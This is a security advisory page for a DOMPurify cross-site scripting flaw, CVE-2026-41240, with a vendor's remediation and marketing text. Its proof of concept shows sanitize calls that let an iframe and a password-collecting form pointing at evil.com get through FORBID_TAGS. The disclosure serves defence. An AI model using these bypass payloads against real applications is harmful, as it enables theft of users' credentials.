CVE-2026-41240

CVE-2026-41240 is a medium-severity cross-site scripting (XSS) vulnerability in dompurify (npm), affecting versions < 3.4.0. It is fixed in 3.4.0.

Summary

There is an inconsistency between FORBID_TAGS and FORBID_ATTR handling when function-based ADD_TAGS is used.

Commit c361baa added an early exit for FORBID_ATTR at line 1214:

/* FORBID_ATTR must always win, even if ADD_ATTR predicate would allow it */
if (FORBID_ATTR[lcName]) {
  return false;
}

The same fix was not applied to FORBID_TAGS. At line 1118-1123, when EXTRA_ELEMENT_HANDLING.tagCheck returns true, the short-circuit evaluation skips the FORBID_TAGS check entirely:

if (
  !(
    EXTRA_ELEMENT_HANDLING.tagCheck instanceof Function &&
    EXTRA_ELEMENT_HANDLING.tagCheck(tagName)  // true -> short-circuits
  ) &&
  (!ALLOWED_TAGS[tagName] || FORBID_TAGS[tagName])  // never evaluated
) {

This allows forbidden elements to survive sanitization with their attributes intact.

PoC (tested against current HEAD in Node.js + jsdom):

const DOMPurify = createDOMPurify(window);

DOMPurify.sanitize(
  '<iframe src="https://evil.com"></iframe>',
  {
    ADD_TAGS: function(tag) { return true; },
    FORBID_TAGS: ['iframe']
  }
);
// Returns: '<iframe src="https://evil.com"></iframe>'
// Expected: '' (iframe forbidden)

DOMPurify.sanitize(
  '<form action="https://evil.com/steal"><input name=password></form>',
  {
    ADD_TAGS: function(tag) { return true; },
    FORBID_TAGS: ['form']
  }
);
// Returns: '<form action="https://evil.com/steal"><input name="password"></form>'
// Expected: '<input name="password">' (form forbidden)

Confirmed affected: iframe, object, embed, form. The src/action/data attributes survive because attribute sanitization runs separately and allows these URLs.

Compare with FORBID_ATTR which correctly wins:

DOMPurify.sanitize(
  '<p onclick="alert(1)">hello</p>',
  {
    ADD_ATTR: function(attr) { return true; },
    FORBID_ATTR: ['onclick']
  }
);
// Returns: '<p>hello</p>' (onclick correctly removed)

Suggested fix: add FORBID_TAGS early exit before the tagCheck evaluation, mirroring line 1214:

/* FORBID_TAGS must always win, even if ADD_TAGS predicate would allow it */
if (FORBID_TAGS[tagName]) {
  // proceed to removal logic
}

This requires function-based ADD_TAGS in the config, which is uncommon. But the asymmetry with the FORBID_ATTR fix is clear, and the impact includes iframe and form injection with external URLs.

Reporter: Koda Reef

Impact

Untrusted input is rendered as active markup in a victim's browser, which can run script in their session. Typical impact: session or credential theft, and actions taken as the user.

Affected versions

dompurify (< 3.4.0)

Security releases

dompurify → 3.4.0 (npm)

Kodem intelligence

Severity tells you how bad this could be in the worst case. It does not tell you whether you are exposed. Exploitability and impact are functions of runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A vulnerable package can sit in your dependency tree and never run.

Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter. Kodem's runtime-powered SCA identifies whether this CVE is reachable in your applications.

See it in your environment

Remediation advice

Upgrade dompurify to 3.4.0 or later to resolve this vulnerability.

Kodem Kai can prioritize this vulnerability in your dependency tree and generate a fix recommendation.

Frequently Asked Questions

  1. What is CVE-2026-41240? CVE-2026-41240 is a medium-severity cross-site scripting (XSS) vulnerability in dompurify (npm), affecting versions < 3.4.0. It is fixed in 3.4.0. Untrusted input is rendered as active markup in a victim's browser, which can run script in their session.
  2. Which versions of dompurify are affected by CVE-2026-41240? dompurify (npm) versions < 3.4.0 is affected.
  3. Is there a fix for CVE-2026-41240? Yes. CVE-2026-41240 is fixed in 3.4.0. Upgrade to this version or later.
  4. Is CVE-2026-41240 exploitable, and should I be worried? Whether CVE-2026-41240 is exploitable in your environment depends on whether the vulnerable code is present and reachable. A CVSS score is a worst-case rating; it does not account for your specific deployment, configuration, or usage patterns. Kodem, an Intelligent Application Security platform, uses runtime intelligence to show which vulnerabilities actually execute in production, so you can focus on the ones that represent real risk. Get a demo
  5. What actually determines whether CVE-2026-41240 is exploitable, and how bad it is? Exploitability and impact are not fixed properties of a CVE. They depend on runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A high CVSS score on a dependency that never runs is not the same as real risk. Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter.
  6. How do I fix CVE-2026-41240? Upgrade dompurify to 3.4.0 or later.

Other vulnerabilities in dompurify

CVE-2026-49978CVE-2026-49458CVE-2026-49459CVE-2026-41240CVE-2026-41239

Stop the waste.
Protect your environment with Kodem.